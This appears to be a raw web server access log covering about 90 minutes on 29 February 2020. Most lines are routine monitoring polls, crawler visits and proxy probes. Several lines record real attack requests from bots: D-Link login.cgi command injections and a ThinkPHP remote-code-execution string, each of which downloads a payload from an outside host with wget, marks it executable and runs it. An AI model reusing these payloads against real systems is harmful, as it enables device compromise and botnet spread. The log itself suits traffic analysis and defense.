212.91.246.72 - - [29/Feb/2020:08:52:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
59.7.155.141 - - [29/Feb/2020:08:52:41 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
212.91.246.72 - - [29/Feb/2020:08:53:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [29/Feb/2020:08:54:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [29/Feb/2020:08:55:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [29/Feb/2020:08:56:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [29/Feb/2020:08:57:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [29/Feb/2020:08:58:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [29/Feb/2020:08:59:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
222.137.176.204 - - [29/Feb/2020:09:00:09 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [29/Feb/2020:09:00:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [29/Feb/2020:09:01:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [29/Feb/2020:09:02:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
173.161.173.157 - - [29/Feb/2020:09:03:39 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
212.91.246.72 - - [29/Feb/2020:09:03:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [29/Feb/2020:09:04:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
195.34.91.22 - - [29/Feb/2020:09:04:55 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
167.172.114.122 - - [29/Feb/2020:09:05:28 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.79 Safari/537.36"
167.172.114.122 - - [29/Feb/2020:09:05:29 +0100] "GET /favicon.ico HTTP/1.1" 404 316 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.79 Safari/537.36"
212.91.246.72 - - [29/Feb/2020:09:05:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
151.30.1.154 - - [29/Feb/2020:09:05:45 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://cnc.stanleyy.xyz/dlink%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
212.91.246.72 - - [29/Feb/2020:09:06:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
129.146.101.83 - - [29/Feb/2020:09:06:42 +0100] "GET / HTTP/1.0" 200 1229 "-" "-"
212.91.246.72 - - [29/Feb/2020:09:07:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [29/Feb/2020:09:08:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [29/Feb/2020:09:09:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [29/Feb/2020:09:10:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [29/Feb/2020:09:11:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [29/Feb/2020:09:12:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
45.84.185.182 - - [29/Feb/2020:09:13:34 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
212.91.246.72 - - [29/Feb/2020:09:13:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [29/Feb/2020:09:14:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [29/Feb/2020:09:15:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [29/Feb/2020:09:16:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [29/Feb/2020:09:17:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [29/Feb/2020:09:18:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [29/Feb/2020:09:19:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [29/Feb/2020:09:20:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [29/Feb/2020:09:21:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [29/Feb/2020:09:22:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [29/Feb/2020:09:23:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
61.167.228.224 - - [29/Feb/2020:09:23:52 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://cnc.stanleyy.xyz/dlink%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
212.91.246.72 - - [29/Feb/2020:09:24:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [29/Feb/2020:09:25:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
176.111.72.201 - - [29/Feb/2020:09:26:17 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
212.91.246.72 - - [29/Feb/2020:09:26:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [29/Feb/2020:09:27:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [29/Feb/2020:09:28:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [29/Feb/2020:09:29:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [29/Feb/2020:09:30:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [29/Feb/2020:09:31:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
180.165.89.236 - - [29/Feb/2020:09:31:43 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://cnc.stanleyy.xyz/dlink%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
212.91.246.72 - - [29/Feb/2020:09:32:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [29/Feb/2020:09:33:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [29/Feb/2020:09:34:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [29/Feb/2020:09:35:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [29/Feb/2020:09:36:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [29/Feb/2020:09:37:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [29/Feb/2020:09:38:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
168.232.14.242 - - [29/Feb/2020:09:39:05 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
212.91.246.72 - - [29/Feb/2020:09:39:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [29/Feb/2020:09:40:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [29/Feb/2020:09:41:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [29/Feb/2020:09:42:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [29/Feb/2020:09:43:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
95.61.195.83 - - [29/Feb/2020:09:43:42 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
212.91.246.72 - - [29/Feb/2020:09:44:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [29/Feb/2020:09:45:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
27.216.245.215 - - [29/Feb/2020:09:46:02 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://176.123.4.234/Dlinkrep.sh%20-O%20-%3E%20/tmp/kh;Dlinkrep.sh%20/tmp/kh%27$ HTTP/1.1" 400 329 "-" "Hakai/2.0"
222.186.19.221 - - [29/Feb/2020:09:46:37 +0100] "CONNECT ip.ws.126.net:443 HTTP/1.1" 405 343 "-" "Go-http-client/1.1"
212.91.246.72 - - [29/Feb/2020:09:46:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
223.166.74.206 - - [29/Feb/2020:09:46:50 +0100] "HEAD http://123.125.114.144/ HTTP/1.1" 200 - "-" "Mozilla/5.01712517 Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.101 Safari/537.36"
212.91.246.72 - - [29/Feb/2020:09:47:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [29/Feb/2020:09:48:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
220.250.10.5 - - [29/Feb/2020:09:49:13 +0100] "GET http://www.rfa.org/english/ HTTP/1.1" 404 311 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.101 Safari/537.36"
182.138.162.49 - - [29/Feb/2020:09:49:15 +0100] "GET http://www.epochtimes.com/ HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.101 Safari/537.36"
222.82.48.220 - - [29/Feb/2020:09:49:18 +0100] "CONNECT cn.bing.com:443 HTTP/1.1" 405 341 "-" "PycURL/7.43.0 libcurl/7.47.0 GnuTLS/3.4.10 zlib/1.2.8 libidn/1.32 librtmp/2.3"
111.224.221.245 - - [29/Feb/2020:09:49:18 +0100] "GET http://www.minghui.org/ HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.101 Safari/537.36"
183.128.220.234 - - [29/Feb/2020:09:49:19 +0100] "GET http://boxun.com/ HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.101 Safari/537.36"
221.13.12.168 - - [29/Feb/2020:09:49:20 +0100] "GET http://www.wujieliulan.com/ HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.101 Safari/537.36"
220.163.33.202 - - [29/Feb/2020:09:49:20 +0100] "CONNECT www.ipip.net:443 HTTP/1.1" 405 342 "-" "PycURL/7.43.0 libcurl/7.47.0 GnuTLS/3.4.10 zlib/1.2.8 libidn/1.32 librtmp/2.3"
27.224.136.62 - - [29/Feb/2020:09:49:21 +0100] "CONNECT www.baidu.com:443 HTTP/1.1" 405 343 "-" "PycURL/7.43.0 libcurl/7.47.0 GnuTLS/3.4.10 zlib/1.2.8 libidn/1.32 librtmp/2.3"
212.91.246.72 - - [29/Feb/2020:09:49:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [29/Feb/2020:09:50:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [29/Feb/2020:09:51:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [29/Feb/2020:09:52:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
222.186.19.221 - - [29/Feb/2020:09:53:18 +0100] "CONNECT ip.ws.126.net:443 HTTP/1.1" 405 343 "-" "Go-http-client/1.1"
212.91.246.72 - - [29/Feb/2020:09:53:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
85.99.247.190 - - [29/Feb/2020:09:54:13 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
212.91.246.72 - - [29/Feb/2020:09:54:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [29/Feb/2020:09:55:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [29/Feb/2020:09:56:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
222.186.19.221 - - [29/Feb/2020:09:57:22 +0100] "CONNECT ip.ws.126.net:443 HTTP/1.1" 405 343 "-" "Go-http-client/1.1"
212.91.246.72 - - [29/Feb/2020:09:57:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [29/Feb/2020:09:58:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
222.186.19.221 - - [29/Feb/2020:09:59:20 +0100] "CONNECT ip.ws.126.net:443 HTTP/1.1" 405 343 "-" "Go-http-client/1.1"
212.91.246.72 - - [29/Feb/2020:09:59:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [29/Feb/2020:10:00:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
54.36.148.63 - - [29/Feb/2020:10:01:03 +0100] "GET /robots.txt HTTP/1.1" 404 330 "-" "Mozilla/5.0 (compatible; AhrefsBot/6.1; +http://ahrefs.com/robot/)"
54.36.148.247 - - [29/Feb/2020:10:01:03 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; AhrefsBot/6.1; +http://ahrefs.com/robot/)"
222.186.19.221 - - [29/Feb/2020:10:01:20 +0100] "CONNECT ip.ws.126.net:443 HTTP/1.1" 405 343 "-" "Go-http-client/1.1"
212.91.246.72 - - [29/Feb/2020:10:01:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [29/Feb/2020:10:02:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [29/Feb/2020:10:03:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
221.125.44.233 - - [29/Feb/2020:10:04:07 +0100] "GET /login.cgi?cli=aa%20aa%27;rm -rf /tmp/ff;wget%20http://158.69.236.40/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 404 310 "-" "DEMONS/2.0"
212.91.246.72 - - [29/Feb/2020:10:04:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [29/Feb/2020:10:05:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [29/Feb/2020:10:06:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [29/Feb/2020:10:07:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
139.196.78.193 - - [29/Feb/2020:10:08:04 +0100] "GET /TP/public/index.php HTTP/1.1" 404 324 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
139.196.78.193 - - [29/Feb/2020:10:08:05 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
212.91.246.72 - - [29/Feb/2020:10:08:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
197.26.35.205 - - [29/Feb/2020:10:08:40 +0100] "GET / HTTP/1.0" 200 1229 "-" "-"
212.91.246.72 - - [29/Feb/2020:10:09:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
177.223.100.7 - - [29/Feb/2020:10:10:08 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
212.91.246.72 - - [29/Feb/2020:10:10:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [29/Feb/2020:10:11:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [29/Feb/2020:10:12:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [29/Feb/2020:10:13:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [29/Feb/2020:10:14:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
222.186.19.221 - - [29/Feb/2020:10:14:46 +0100] "CONNECT ip.ws.126.net:443 HTTP/1.1" 405 343 "-" "Go-http-client/1.1"
212.91.246.72 - - [29/Feb/2020:10:15:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
125.128.241.71 - - [29/Feb/2020:10:15:51 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://cnc.stanleyy.xyz/dlink%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
125.128.241.71 - - [29/Feb/2020:10:15:56 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://cnc.stanleyy.xyz/dlink%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
125.128.241.71 - - [29/Feb/2020:10:16:02 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://cnc.stanleyy.xyz/dlink%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
125.128.241.71 - - [29/Feb/2020:10:16:14 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://cnc.stanleyy.xyz/dlink%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
125.128.241.71 - - [29/Feb/2020:10:16:38 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://cnc.stanleyy.xyz/dlink%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
212.91.246.72 - - [29/Feb/2020:10:16:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [29/Feb/2020:10:17:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
222.186.19.221 - - [29/Feb/2020:10:18:40 +0100] "CONNECT ip.ws.126.net:443 HTTP/1.1" 405 343 "-" "Go-http-client/1.1"
212.91.246.72 - - [29/Feb/2020:10:18:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
194.0.206.33 - - [29/Feb/2020:10:19:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
212.91.246.72 - - [29/Feb/2020:10:19:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [29/Feb/2020:10:20:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [29/Feb/2020:10:21:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
197.157.146.251 - - [29/Feb/2020:10:22:20 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
222.186.19.221 - - [29/Feb/2020:10:22:31 +0100] "CONNECT ip.ws.126.net:443 HTTP/1.1" 405 343 "-" "Go-http-client/1.1"
212.91.246.72 - - [29/Feb/2020:10:22:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [29/Feb/2020:10:23:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [29/Feb/2020:10:24:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [29/Feb/2020:10:25:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [29/Feb/2020:10:26:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
151.41.225.243 - - [29/Feb/2020:10:27:03 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://cnc.stanleyy.xyz/dlink%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
37.232.141.168 - - [29/Feb/2020:10:27:34 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
212.91.246.72 - - [29/Feb/2020:10:27:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [29/Feb/2020:10:28:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [29/Feb/2020:10:29:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [29/Feb/2020:10:30:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
